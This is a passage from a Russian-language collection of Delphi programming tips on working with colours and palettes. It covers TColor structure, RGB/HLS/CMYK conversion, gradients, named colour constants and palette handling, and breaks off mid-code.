 x := 1;

 for i := 1 to length(text) do begin
  application.ProcessMessages;
  y := image.Picture.Height div 2 - (image.Canvas.TextHeight(text[i]) div 2);
  x := x+image.Canvas.TextWidth(text[i])+space;
  image.Canvas.TextOut(x,y,text[i]);
  sleep(delay);
 end;

end;

// Sample calls:
procedure TForm1.Button1Click(Sender: TObject);
begin
 //                  <text>          <image>  <delay>
 VerticalTypewriter('HELLO BIG-X',   image1,  100     );
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 //                    <text>         <image>  <delay>  <space>
 HorizontalTypewriter('Hello Big-X',  image2,  100,     1       );
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Работа с цветами и палитрами

Cодержание раздела:

Что такое Цвет?
Как получить hex-значение данного цвета?
Преобразование цвета RGB <-> HLS
Как сделать стандартные цвета в Delphi светлее или темнее
Как преобразовать цвет в оттенки серого
Как разбить "цвет" на составляющие и наоборот?
TColor --> String
String --> TColor
Смешиваем два цвета.
Как преобразовать цвета RGB в CMYK и обратно
Градиентная заливка и сложение цветов
Как конвертировать RGB в TColor
Как определить цвет код произвольной точки экрана?
Число цветов (цветовая палитра) у данного компьютера Updated!
Как изменить фоновый цвет текста?
Как получить более светлый или более тёмный цвет?
Как получить средний цвет между двумя цветами?
Дополнительные константы цветов
Как работать с палитрой в Delphi?
Как найти контрастный цвет к данному?
Как выбрать цвет пользуя TTrackBar
Как создать цветовую паллитру
Изменение цветовой палитры изображения
Как можно узнать количество цветов текущего режима
Как получить цвет строки в HTML формате
Как преобразовать шестнадцатиричный цвет HTML в TColor
RGB --> Gray
Получить и установить системные цвета
Функция для работы с палитрами и RGB
Изменение палитры при выводе изображения New!

См. также статьи в других разделах:
Как узнать количество цветов в системной палитре?
Как узнать разрешение экрана?
Как установить разрешение экрана?
Получаем и устанавливаем различные режимы видео адаптера?
Как отследить изменения дисплея?
Как преобразовать шестнадцатиричный цвет HTML в TColor?
Как получить цвет строки в HTML формате?


Что такое Цвет?

Если Edit1.text это String то что такое Edit1.font.color?

TColor - это Integer, чтоб задать нужный цвет можно пользовать константы, а можно в числовом виде:

Edit1.font.color:=$223344

где 22 - яркость красного цвета, может быть в пределах от 00 до FF
где 33 - яркость зеленого цвета, может быть в пределах от 00 до FF
где 44 - яркость синего цвета, может быть в пределах от 00 до FF

Например:

Edit1.font.color:=$000000 - черный
Edit1.font.color:=$FFFFFF - белый
Edit1.font.color:=$00FF00 - зеленый

Всего определено 256*256*256 цветов

В примерах я использовал шестнадцатиричные значения так как так проще, но можно и десятичные, если разберетесь какой это цвет

Edit1.font.color:=123456

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Можно использовать константы типа clred, clblack, cllime, clgreen...
Для работы с цветом можно использовать следующие функции
RGB(r,g,b:byte):tcolor //получаешь цвет по 3 составляющим
GetRValue(color:tcolor)
GetGValue(color:tcolor)//получаешь значение интенсивности цвета.
GetBValue(color:tcolor)

Автор ответа: Mikel
Взято с Vingrad.ru http://forum.vingrad.ru

Для хранения цвета существует свой собственный тип, который называется TColor. Этот тип содержит информацию, как о самом цвете, так и том, каким образом его заменить, если, например, цветовая палитра системы не поддерживает этот цвет (скажем, установлено всего 256 цветов, а цвет, заданный в переменной, вылезает далеко за пределы этих 256 цветов).

Тип TColor состоит из четырех байт. Первый байт - указатель на замену цвета (о нем поговорим позже). Второй байт - яркость красного цвета от 0 до 255 (от 00 до FF). Третий байт - яркость зеленого цвета от 0 до 255 (от 00 до FF). И, наконец, четвертый байт - яркость синего цвета, также, от 0 до 255 (от 00 до FF).

А как Вы уже знаете, из этих трех цветов: красного, зеленого и синего, регулируя их яркость, можно составить практически любой цвет.

Поговорим теперь о первом байте - указателе на замену цвета. Итак, этот байт может принимать три различных значения - ноль ($00), единицу ($01) или двойку ($02). Что это значит:

Ноль ($00) - цвет, который не может быть воспроизведен точно, заменяется ближайшим цветом из системной палитры.
Единица ($01) - цвет, который не может быть воспроизведен точно, заменяется ближайшим цветом из палитры, которая установлена сейчас.
Двойка ($02) - цвет, который не может быть воспроизведен точно, заменяется ближайшим цветом из палитры, которую поддерживает текущее устройство вывода (в нашем случае - монитор).
Видимо, всегда лучше устанавливать значение первого байта равным нулю ($00), по крайней мере, так происходит при получении типа TColor при помощи функции RGB.

И, напоследок, несколько примеров:

$00FFFFFF - белый цвет;
$00000000 - черный цвет;
$00800000 - темно-красный цвет.

Взято с http://delphiworld.narod.ru


Как получить hex-значение данного цвета?

GetRValue, GetGValue, GetBValue - дадут тебе байты цветов, затем тебе надо их перевести в hex...

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

IntToHex(Color);
Автор ответа: neutrino
Взято с Vingrad.ru http://forum.vingrad.ru

В модуле graphics имеются две недокументированные функции:

function ColorToString(Color: TColor): string;

Если значение TColor является именованным цветом, функция возвращает имя цвета ("clRed"). В противном случае возвращается шестнадцатиричное значение цвета в виде строки.

function StringToColor(S: string): TColor;

Данная функция преобразует "clRed" или "$0000FF" во внутреннее значение цвета.

Автор: Pegas

Взято с Vingrad.ru http://forum.vingrad.ru


Преобразование цвета RGB <-> HLS

Максимальные значения }
Const
 HLSMAX = 240;
 RGBMAX = 255;
 UNDEFINED = (HLSMAX*2) div 3;
Var
 H, L, S  : integer; { H-оттенок, L-яркость, S-насыщенность }
 R, G, B  : integer; { цвета }

procedure RGBtoHLS;
Var
 cMax,cMin  : integer;
 Rdelta,Gdelta,Bdelta : single;
Begin
   cMax := max( max(R,G), B);
   cMin := min( min(R,G), B);
   L := round( ( ((cMax+cMin)*HLSMAX) + RGBMAX )/(2*RGBMAX) );

   if (cMax = cMin) then begin
      S := 0; H := UNDEFINED;
   end else begin
      if (L <= (HLSMAX/2)) then
         S := round( ( ((cMax-cMin)*HLSMAX) + ((cMax+cMin)/2) ) / (cMax+cMin) )
      else
         S := round( ( ((cMax-cMin)*HLSMAX) + ((2*RGBMAX-cMax-cMin)/2) )
            / (2*RGBMAX-cMax-cMin) );
      Rdelta := ( ((cMax-R)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
      Gdelta := ( ((cMax-G)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
      Bdelta := ( ((cMax-B)*(HLSMAX/6)) + ((cMax-cMin)/2) ) / (cMax-cMin);
      if (R = cMax) then H := round(Bdelta - Gdelta)
      else if (G = cMax) then H := round( (HLSMAX/3) + Rdelta - Bdelta)
      else H := round( ((2*HLSMAX)/3) + Gdelta - Rdelta );
      if (H < 0) then H:=H + HLSMAX;
      if (H > HLSMAX) then H:= H - HLSMAX;
   end;
   if S<0 then S:=0; if S>HLSMAX then S:=HLSMAX;
   if L<0 then L:=0; if L>HLSMAX then L:=HLSMAX;
end;

procedure HLStoRGB;
Var
 Magic1,Magic2 : single;

  function HueToRGB(n1,n2,hue : single) : single;
  begin
     if (hue < 0) then hue := hue+HLSMAX;
     if (hue > HLSMAX) then hue:=hue -HLSMAX;
     if (hue < (HLSMAX/6)) then
        result:= ( n1 + (((n2-n1)*hue+(HLSMAX/12))/(HLSMAX/6)) )
     else
     if (hue < (HLSMAX/2)) then result:=n2 else
     if (hue < ((HLSMAX*2)/3)) then
        result:= ( n1 + (((n2-n1)*(((HLSMAX*2)/3)-hue)+(HLSMAX/12))/(HLSMAX/6)))
     else result:= ( n1 );
  end;

begin
   if (S = 0) then begin
      B:=round( (L*RGBMAX)/HLSMAX ); R:=B; G:=B;
   end else begin
      if (L <= (HLSMAX/2)) then Magic2 := (L*(HLSMAX + S) + (HLSMAX/2))/HLSMAX
      else Magic2 := L + S - ((L*S) + (HLSMAX/2))/HLSMAX;
      Magic1 := 2*L-Magic2;
      R := round( (HueToRGB(Magic1,Magic2,H+(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );
      G := round( (HueToRGB(Magic1,Magic2,H)*RGBMAX + (HLSMAX/2)) / HLSMAX );
      B := round( (HueToRGB(Magic1,Magic2,H-(HLSMAX/3))*RGBMAX + (HLSMAX/2))/HLSMAX );
   end;
   if R<0 then R:=0; if R>RGBMAX then R:=RGBMAX;
   if G<0 then G:=0; if G>RGBMAX then G:=RGBMAX;
   if B<0 then B:=0; if B>RGBMAX then B:=RGBMAX;
end;

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru


Как сделать стандартные цвета в Delphi светлее или темнее

Автор: Den Bedard

В данной статье хотелось бы показать принцип получения из обычного цвета более тёмный или более светлый. А так же рассмотрим, как этот принцип реализовани в программном коде.

Итак, немного теории:
Каждый из трёх основных цветов (Красный,Зелёный,Синий) могут иметь значение от 0 до 255, соответственно скомбинировав их мы можем получить 16,777,216 возможных цветов. Визуально это можно предствить как три оси куба, в котором направления x, y и z отвечают за цвета красный, зелёный и синий. В сочетании эти направления дают точку в кубе, представляющую один цвет из 16 миллионов. Точка куба, в которой значение равняется 0 (0,0,0) соответствует чёрному цвету, значение (255,255,255) - белому цвету, (255,0,0) - чисто красному, и т.д.

Если визуально провести линию между каким-либо цветом (r,g,b) и белым цветом (255,255,255), то получится, что на этой линии будут лежать все значения данного цвета (r,g,b). Если мы будем двигаться по линии в сторону белого цвета, то яркость будет увеличиваться до тех пор пока не получим чисто белый цвет.

То же самое можно сделать и для уменьшения яркости цвета. Достаточно провести линию из цвета (r,g,b) в чёрный (0,0,0). То есть при движении по линии к чёрному цвету мы будем уменьшать яркость до тех пор, пока не получим чёрный цвет.

Функция "Darker" возвращает новое значение цвета, которое будет на сколько-то процентов темнее. Естевственно, что при 100% мы получим чёрный цвет.
Функция "Lighter" возвращает цвет, который светлее на сколько-то процентов исходного. 100% - белый цвет.

Функции Darker и Lighter требуют 2 параметра и используются примерно так:
Panel1.Color := Darker(clBlue,20);
Получется панель цветов, которая на 20% темнее обычного синего цвета.

Теперь давайте посмотрим, как выглядят внутри наши функции:

function Darker(Color:TColor; Percent:Byte):TColor;
var
  r,g,b:Byte;
begin
Color:=ColorToRGB(Color);
r:=GetRValue(Color);
g:=GetGValue(Color);
b:=GetBValue(Color);
r:=r-muldiv(r,Percent,100);  //процент% уменьшения яркости
g:=g-muldiv(g,Percent,100);
b:=b-muldiv(b,Percent,100);
result:=RGB(r,g,b);
end;

function Lighter(Color:TColor; Percent:Byte):TColor;
var
  r,g,b:Byte;
begin
Color:=ColorToRGB(Color);
r:=GetRValue(Color);
g:=GetGValue(Color);
b:=GetBValue(Color);
r:=r+muldiv(255-r,Percent,100); //процент% увеличения яркости
g:=g+muldiv(255-g,Percent,100);
b:=b+muldiv(255-b,Percent,100);
result:=RGB(r,g,b);
end;

Так же я добавил некоторые функции, в которых уже добавлены стандартные значения процентов. Это для тех, кому некогда задумываться над процентами :)

Panel1.Color := Light(clBlue);
Panel1.Color := SlightlyDark(clRed);
Panel1.Color := VeryLight(clMagenta);
etc.

function SlightlyDark(Color:TColor):TColor;
begin
  Result := Darker(Color,25);
end;

function Dark(Color:TColor):TColor;
begin
  Result := Darker(Color,50);
end;

function VeryDark(Color:TColor):TColor;
begin
  Result := Darker(Color,75);
end;

function SlightlyLight(Color:TColor):TColor;
begin
  Result := Lighter(Color,25);
end;

function Light(Color:TColor):TColor;
begin
  Result := Lighter(Color,50);
end;

function VeryLight(Color:TColor):TColor;
begin
  Result := Lighter(Color,75);
end;

Взято из http://forum.sources.ru


Как преобразовать цвет в оттенки серого

Следущий пример показывает, как преобразовать RGB цвет в аналогичный оттенок серого, наподобие того, как это делает чёрно-белый телевизор:

function RgbToGray(RGBColor : TColor) : TColor;
var
  Gray : byte;
begin
  Gray := Round((0.30 * GetRValue(RGBColor)) +
                (0.59 * GetGValue(RGBColor)) +
                (0.11 * GetBValue(RGBColor )));
  Result := RGB(Gray, Gray, Gray);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  Shape1.Brush.Color := RGB(255, 64, 64);
  Shape2.Brush.Color := RgbToGray(Shape1.Brush.Color);
end;

Взято из http://forum.sources.ru


Как разбить цвет на составляющие и наоборот?

GetRValue
GetBValue
GetGValue

В обратную сторону RGB()

Автор:Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


TColor --> String

В модуле graphics имеется недокументированная функция:

function ColorToString(Color: TColor): string;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


String --> TColor

В модуле graphics имеется недокументированная функция:

function StringToColor(S: string): TColor;
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Смешиваем два цвета.

Самый простой способ смешать два цвета c1 и c2, это вычислить средние значения rgb-значений. Данный пример не отличается особой быстротой, поэтому если Вам нужно быстро смешивать цвета, то прийдётся пошевелить мозгами...

function GetMixColor (c1, c2: TColor): TColor;
begin
  // вычисляем средние значения Красного, Синего и Зелёного значений
  // цветов c1 и c2:
  Result := RGB (
                  (GetRValue (c1) + GetRValue (c2)) div 2,
                  (GetGValue (c1) + GetGValue (c2)) div 2,
                  (GetBValue (c1) + GetBValue (c2)) div 2
                );
end;

Взято из http://forum.sources.ru


Как преобразовать цвета RGB в CMYK и обратно

The following functions RGBTOCMYK() and CMYKTORGB()
demonstrate how to convert between RGB and CMYK color
spaces. Note: There is a direct relationship between RGB
colors and CMY colors. In a CMY color, black tones are
achieved by printing equal amounts of Cyan, Magenta, and
Yellow ink. The black component in a CMY color is achieved
by reducing the CMY components by the minimum of (C, M,
and Y) and substituting pure black in its place producing a
sharper print and using less ink. Since it is possible for a user
to boost the C,M and Y components where boosting the black
component would have been preferable, a ColorCorrectCMYK()
function is provided to achieve the same color by reducing the
C, M and Y components, and boosting the K component.

Example:

procedure RGBTOCMYK(R : byte;
                   G : byte;
                   B : byte;
                   var C : byte;
                   var M : byte;
                   var Y : byte;
                   var K : byte);
begin
 C := 255 - R;
 M := 255 - G;
 Y := 255 - B;
 if C < M then
   K := C else
   K := M;
 if Y < K then
   K := Y;
 if k > 0 then begin
   c := c - k;
   m := m - k;
   y := y - k;
 end;
end;

procedure CMYKTORGB(C : byte;
                   M: byte;
                   Y : byte;
                   K : byte;
                   var R : byte;
                   var G : byte;
                   var B : byte);
begin
  if (Integer(C) + Integer(K)) < 255 then
    R := 255 - (C + K) else
    R := 0;
  if (Integer(M) + Integer(K)) < 255 then
    G := 255 - (M + K) else
    G := 0;
  if (Integer(Y) + Integer(K)) < 255 then
    B := 255 - (Y + K) else
    B := 0;
end;

procedure ColorCorrectCMYK(var C : byte;
                          var M : byte;
                          var Y : byte;
                          var K : byte);
var
 MinColor : byte;
begin
 if C < M then
   MinColor := C else
   MinColor := M;
 if Y < MinColor  then
   MinColor := Y;
 if MinColor + K > 255 then
   MinColor := 255 - K;
 C := C - MinColor;
 M := M - MinColor;
 Y := Y - MinColor;
 K := K + MinColor;
end;

Автор: p0s0l


Градиентная заливка и сложение цветов

Градиентная заливка и сложение цветов.

Иногда бывает нужно сложить два или более цветов для получения что-то типа переходного цвета.
Делается это весьма просто. Координаты получаемого цвета будут равны среднему значению
соответствующих координат всех цветов.

Например, нужно сложить красный и синий. Получаем
(255,0,0)+(0,0,255)=((255+0) div 2,(0+0) div 2,(0+255) div 2)=(127,0,127).

В результате получаем сиреневый цвет. Та2: сложить соответствующие координаты,
потом каждую сумму разделить нацело на количество цветов.

Поговорим теперь о градиентной заливке. Градиентная заливка - это заливка цветом с плавным
переходом от одного цвета к другому.

Итак, пусть заданы 2 цвета своими координатами ((A1, A2, A3) и (B1, B2, B3)) и
линия (длиной h пикселов), по которой нужно залить. Тогда каждый цвет каждого пиксела,
находящегося на расстоянии x пикселов от начала будет равен
(A1-(A1-B1)/h*x, A2-(A2-B2)/h*x, A3-(A3-B3)/h*x). Теперь, имея линию с
градиентной заливкой, можно таким образом залить
совершенно любую фигуру: будь то прямоугольник, круг или просто произвольная фигура.

Вот как выглядит описанный алгоритм:

{Считается, что координаты первого цвета равны (A1, A2, A3), а второго (B1, B2, B3)}
{Кроме того, линия начинается в координатах (X1,Y1), а заканчивается в (X2,Y1)}

Var h,i: Integer;

begin
  h:=X2-X1-1;
  for i:=0 to h do begin
    PaintBox1.Canvas.Pen.Color:=RGB(A1-(A1-B1)/h*i, A2-(A2-B2)/h*i, A3-(A3-B3)/h*i);
    PaintBox1.Canvas.Pen.Rectangle(I,Y1,I+1,Y1);
  end;
end.

Взято с сайта http://blackman.wp-club.net/

Just cut and paste the routines below into a unit somewhere and make the function declarations at the top of your unit.

You can use GetGradientColor2 to get a color that is somewhere between two other colors. For example, to get the color that is 50% between Red and Blue, do this:

var
  MyColor: TColor;
begin
  R1 := 255;
  G1 := 0;
  B1 := 0;
  R2 := 0;
  G2 := 0;
  B2 := 0;
  Percent := 0.5;
  MyNewColor := GetGradientColor2(R1, G1, B1, R2, G2, B2, Percent);

You could put percent in a loop from 0 to 1, and get all the colors as a nice gradient.

Function GetGradientColor3 works in a similar manner, except that you can do a gradient between 3 colors, such as between red to yellow to blue. This can help prevent the colors from loosing intensity when you go between say blue and red, where the purple would otherwise be darker.

function ColorFromRGB(Red, Green, Blue: Integer): Integer;
{Returns the color made up of the red, green, and blue components. Red, Green, and Blue can
be from 0 to 255.}
begin
  {Convert Red, Green, and Blue values to color.}
  Result := Red + Green * 256 + Blue * 65536;
end;

function GetPigmentBetween(P1, P2, Percent: Double): Integer;
{Returns a number that is Percent of the way between P1 and P2}
begin
  {Find the number between P1 and P2}
  Result := Round(((P2 - P1) * Percent) + P1);
  {Make sure we are within bounds for color.}
  if Result > 255 then
    Result := 255;
  if Result < 0 then
    Result := 0;
end;

function GetGradientColor2(R1, G1, B1, R2, G2, B2, Percent: Double): Integer;
{Gets a color that is inbetween the colors defined by (R1,G1,B1) and (R2,G2,B2)
Percent ranges from 0 to 1.0 (i.e. 0.5 = 50%)
If percent =0   then the color of (R1,G1,B1) is returned
If Percent =1   then the color of (R2,G2,B2) is returned
if Percent is somewhere inbetween, then an inbetween color is returned.}
var
  NewRed, NewGreen, NewBlue: Integer;
begin
  {Validate input data in case it is off by a few thousanths.}
  if Percent > 1 then
    Percent := 1;
  if Percent < 0 then
    Percent := 0;
  {Calculate Red, green, and blue components for the new color.}
  NewRed := GetPigmentBetween(R1, R2, Percent);
  NewGreen := GetPigmentBetween(G1, G2, Percent);
  NewBlue := GetPigmentBetween(B1, B2, Percent);
  {Convert RGB to color}
  Result := ColorFromRGB(NewRed, NewGreen, NewBlue);
end;

function GetGradientColor3(R1, G1, B1, R2, G2, B2, R3, G3, B3, Percent: Double): Integer;
{Gets a color that is inbetween the color spread defined (R1,G1,B1), (R2,G2,B2) and (R3,G3,B3).
This is similar to GetGradientColor2, except that it allows you to specify 3 colors instead of 2.}
begin
  {Use GetGradient2 to do most the work}
  if Percent < 0.5 then
    Result := GetGradientColor2(R1, G1, B1, R2, G2, B2, Percent * 2)
  else
    Result := GetGradientColor2(R2, G2, B2, R3, G3, B3, (Percent - 0.5) * 2);
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как конвертировать RGB в TColor

function RGBToColor(R,G,B:Byte): TColor;
begin
       Result:=B Shl 16 Or
       G Shl 8 Or
       R;
end;

Взято из http://forum.sources.ru

RGB -> TColor

RGB(r,g,b:byte):tcolor

TColor -> RGB

GetRValue(color:tcolor)
GetGValue(color:tcolor)
GetBValue(color:tcolor)

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как определить цвет код произвольной точки экрана?

var
DC: HDC;
Color: Cardinal;
begin
DC := CreateDC ('MONITOR', nil, nil, nil);
Color := GetPixel(DC, 300, 300);
DeleteDC(DC);
end;

Автор Baa.
Взято с Vingrad.ru http://forum.vingrad.ru

var
DC: HDC;
Color: Cardinal;
begin
DC :=GetDC(0);
Color := GetPixel(DC, 300, 300);
ReleaseDC(0,DC);
end;

Автор Mikel.
Взято с Vingrad.ru http://forum.vingrad.ru


Число цветов (цветовая палитра) у данного компьютера

Эта функция возвращает число бит на точку у данного компьютера. Так, например, 8 - 256 цветов, 4 - 16 цветов ...

function GetDisplayColors : integer;
var tHDC  : hdc;
begin
 tHDC:=GetDC(0);
 result:=GetDeviceCaps(tHDC, 12)* GetDeviceCaps(tHDC, 14);
 ReleaseDC(0, tHDC);
end;

Зайцев О.В.
Владимиров А.М.
Взято из http://forum.sources.ru

1 shl GetDeviceCaps( Canvas.Handle, BITSPIXEL );

Взято с http://delphiworld.narod.ru


Как изменить фоновый цвет текста?

Воспользуйтесь API функциями SetBkColor и TextOut.

procedure TForm1.Button1Click(Sender: TObject);
var
  OldTextColor : TColorRef;
  OldBkColor : TColorRef;
  OldBkMode : Integer;
begin
  OldTextColor := SetTextColor(Form1.Canvas.Handle, RGB(0, 0, 255));
  OldBkColor := SetBkColor(Form1.Canvas.Handle, RGB(255, 0, 0));
  OldBkMode := SetBkMode(Form1.Canvas.Handle, OPAQUE);
  TextOut(Form1.Canvas.Handle,
          100, 100,
          'Синий текст на красном фоне',
          27);
  SetBkMode(Form1.Canvas.Handle, OldBkMode);
  SetBkColor(Form1.Canvas.Handle, OldBkColor);
  SetTextColor(Form1.Canvas.Handle, OldTextColor);
end;

Взято из http://forum.sources.ru


Как получить более светлый или более тёмный цвет?

{
  Here's some function that returns the lighter or darker color of a TColor.
  You can use it, for example, to design a bevel or something like that.
}

{=======================================}

function Min(a, b: Longint): Longint;
begin
  if a > b then Result := b
  else
    Result := a;
end;

function Max(a, b: Longint): Longint;
begin
  if a > b then Result := a
  else
    Result := b;
end;

{=======================================}

function GetHighlightColor(BaseColor: TColor): TColor;
begin
  Result := RGB(Min(GetRValue(ColorToRGB(BaseColor)) + 64, 255),
    Min(GetGValue(ColorToRGB(BaseColor)) + 64, 255),
    Min(GetBValue(ColorToRGB(BaseColor)) + 64, 255));
end;

function GetShadowColor(BaseColor: TColor): TColor;
begin
  Result := RGB(Max(GetRValue(ColorToRGB(BaseColor)) - 64, 0),
    Max(GetGValue(ColorToRGB(BaseColor)) - 64, 0),
    Max(GetBValue(ColorToRGB(BaseColor)) - 64, 0));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить средний цвет между двумя цветами?

function GetColorBetween(StartColor, EndColor: TColor; Pointvalue, Von, Bis:
  Extended): TColor;
var
  F: Extended;
  r1, r2, r3, g1, g2, g3, b1, b2, b3: Byte;
  function CalcColorBytes(fb1, fb2: Byte): Byte;
  begin
    result := fb1;
    if fb1 < fb2 then
      Result := FB1 + Trunc(F * (fb2 - fb1));
    if fb1 > fb2 then
      Result := FB1 - Trunc(F * (fb1 - fb2));
  end;
begin
  if Pointvalue <= Von then
  begin
    result := StartColor;
    exit;
  end;
  if Pointvalue >= Bis then
  begin
    result := EndColor;
    exit;
  end;
  F := (Pointvalue - von) / (Bis - Von);
  asm
     mov EAX, Startcolor
     cmp EAX, EndColor
     je @@exit
     mov r1, AL
     shr EAX,8
     mov g1, AL
     shr Eax,8
     mov b1, AL
     mov Eax, Endcolor
     mov r2, AL
     shr EAX,8
     mov g2, AL
     shr EAX,8
     mov b2, AL
     push ebp
     mov al, r1
     mov dl, r2
     call CalcColorBytes
     pop ecx
     push ebp
     Mov r3, al
     mov dL, g2
     mov al, g1
     call CalcColorBytes
     pop ecx
     push ebp
     mov g3, Al
     mov dL, B2
     mov Al, B1
     call CalcColorBytes
     pop ecx
     mov b3, al
     XOR EAX,EAX
     mov AL, B3
     SHL EAX,8
     mov AL, G3
     SHL EAX,8
     mov AL, R3
     @@Exit:
     mov @result, eax
  end;
end;

//------------------------------------------------------------------------------
// Function for getting mixed color from two given colors, with a relative
// distance from two colors determined by Position value inside
// MinPosition..MaxPosition range
// Author: Dmitri Papichev (c) 2001
// License type: Freeware
//------------------------------------------------------------------------------

function GetMixedColor(const StartColor,
  EndColor: TColor;
  const MinPosition,
  Position,
  MaxPosition: integer): TColor;
var
  Fraction: double;
  R, G, B,
    R0, G0, B0,
    R1, G1, B1: byte;
begin
  {process Position out of range situation}
  if (MaxPosition < MinPosition) then
  begin
    raise Exception.Create
      ('GetMixedColor: MaxPosition is less then MinPosition');
  end; {if}

  {if Position is outside MinPosition..MaxPosition range, the closest boundary
   is effectively substituted through the adjustment of Fraction}
  Fraction :=
    Min(1, Max(0, (Position - MinPosition) / (MaxPosition - MinPosition)));

  {extract the intensity values}
  R0 := GetRValue(StartColor);
  G0 := GetGValue(StartColor);
  B0 := GetBValue(StartColor);
  R1 := GetRValue(EndColor);
  G1 := GetGValue(EndColor);
  B1 := GetBValue(EndColor);

  {calculate the resulting intensity values}
  R := R0 + Round((R1 - R0) * Fraction);
  G := G0 + Round((G1 - G0) * Fraction);
  B := B0 + Round((B1 - B0) * Fraction);

  {combine intensities in a resulting color}
  Result := RGB(R, G, B);
end; {--GetMixedColor--}
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Дополнительные константы цветов

unit UnitColorConstants;
{-----------------------------------------------------------------

    Unit Name: UnitColorConstants
    Version: 2.0
    Author: Stewart Moss
    Creation Date: Jan 31 2002 11:54 pm
    Modification Date: Feb 21 2002
    Dependancies:

    Description:

-- This code is copyright (Jan 31 2002) by Stewart Moss
-- All rights Reserved.
-----------------------------------------------------------------}

interface

uses Graphics;

const
  clNicePaleGreen = TColor($CCFFCC);
  clPaleRed = TColor($CCCCFF);
  clNicePurple = TColor($00E1E100);
  clKhaki = TColor($ADAE80);
  clMonkeyGreen = TColor($00C0DCC0);
  clSkyBlue = TColor($00F1CAA6);
  clMedGray = TColor($00A4A0A0);
  clCream = TColor($00EFFBFF);

  clChocolate = TColor($17335C);
  clDarkBrown = TColor($5C3340);
  clDarkSlateGrey = TColor($4F4F2F);
  clDarkTan = TColor($4F6997);
  clDarkWood = TColor($425E85);
  clLightWood = TColor($A6C2E9);
  clMediumWood = TColor($6480A6);
  clNewTan = TColor($9EC7EB);
  clSemiSweetChocolate = TColor($26426B);
  clSienna = TColor($236B8E);
  clWheat = TColor($BFD8D8);
  clBrass = TColor($42A6B5);
  clBronze = TColor($53788C);
  clBronzeII = TColor($3D7DA6);
  clCoolCopper = TColor($1987D9);
  clCopper = TColor($3373B8);
  clQuartz = TColor($F3D9D9);
  clFieldSpar = TColor($7592D1);
  clGoldenrod = TColor($70DBDB);
  clMediumGoldenrod = TColor($AEEAEA);
  clBrightGold = TColor($19D9D9);
  clGold = TColor($327FCD);
  clOldGold = TColor($3BB5CF);
  clCoral = TColor($007FFF);
  clFirebrick = TColor($23238E);
  clIndianRed = TColor($2F2F4E);
  clMandarianOrange = TColor($3378E4);
  clMediumVioletRed = TColor($9370DB);
  clNeonPink = TColor($C76EFF);
  clOrangeRed = TColor($0024FF);
  clScarlet = TColor($17178C);
  clSpicyPink = TColor($AE1CFF);
  clThistle = TColor($D8BFD8);
  clVioletRed = TColor($9932CC);
  clDarkOliveGreen = TColor($2F4F4F);
  clForestGreen = TColor($238E23);
  clHunterGreen = TColor($215E21);
  clMediumForestGreen = TColor($238E6B);
  clMediumSeaGreen = TColor($426F42);
  clMediumSpringGreen = TColor($00FF7F);
  clPaleGreen = TColor($8FBC8F);
  clSeaGreen = TColor($688E23);
  clSpringGreen = TColor($7FFF00);
  clYellowGreen = TColor($32CC99);
  clAquamarine = TColor($93DB70);
  clCadetBlue = TColor($9F9F5F);
  clCornFlowerBlue = TColor($6F4242);
  clDarkTurquoise = TColor($DB9370);
  clLightBlue = TColor($D9D9C0);
  clLightSteelBlue = TColor($BD8F8F);
  clMediumAquamarine = TColor($99CD32);
  clMediumBlue = TColor($CD3232);
  clMediumTurquoise = TColor($DBDB70);
  clMidnightBlue = TColor($4F2F2F);
  clNeonBlue = TColor($FF4D4D);
  clNewMidnightBlue = TColor($9C0000);
  clRichBlue = TColor($AB5959);
  clSlateBlue = TColor($FF7F00);
  clSteelBlue = TColor($8E6B23);
  clSummerSky = TColor($DEB038);
  clTurquoise = TColor($EAEAAD);
  clBlueViolet = TColor($9F5F9F);
  clOrchid = TColor($DB70DB);
  clDarkPurple = TColor($781F87);
  clViolet = TColor($4F2F4F);
  clDarkOrchid = TColor($CD3299);
  clMediumSlateBlue = TColor($007FFF);
  clDarkSlateBlue = TColor($8E236B);
  clMediumOrchid = TColor($DB7093);

implementation

end.

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как работать с палитрой в Delphi?

Как работать с палитрой в Delphi? На форме установлен TImage и видна картинка (*.BMP файл), как изменить у него палитру цветов ?

Палитра в TBitmap и TMetaFile доступна через property Palette. Если палитра имеется (что совсем необязательно), то Palette<>0:

procedure TMain.BitBtnClick(Sender: TObject);
var
  Palette : HPalette;
  PaletteSize : Integer;
  LogSize: Integer;
  LogPalette: PLogPalette;
  Red : Byte;
begin
  Palette := Image.Picture.Bitmap.ReleasePalette;
  // здесь можно использовать просто Image.Picture.Bitmap.Palette, но  я не
  // знаю, удаляются ли ненужные палитры автоматически

  if Palette=0 then exit; //Палитра отсутствует
  PaletteSize := 0;
  if GetObject(Palette, SizeOf(PaletteSize), @PaletteSize) = 0 then Exit;
  // Количество элементов в палитре = paletteSize
  if PaletteSize = 0 then Exit; // палитра пустая
  // определение размера палитры
  LogSize := SizeOf(TLogPalette) + (PaletteSize - 1) * SizeOf(TPaletteEntry);
  GetMem(LogPalette, LogSize);
  try
    // заполнение полей логической палитры
    with LogPalette^ do begin
      palVersion := $0300;    palNumEntries := PaletteSize;
      GetPaletteEntries(Palette, 0, PaletteSize, palPalEntry);
      // делаете что нужно с палитрой, например:
      Red := palPalEntry[PaletteSize-1].peRed;
      Edit1.Text := 'Красная составляющего последнего элемента  палитры ='+IntToStr(Red);
      palPalEntry[PaletteSize-1].peRed := 0;
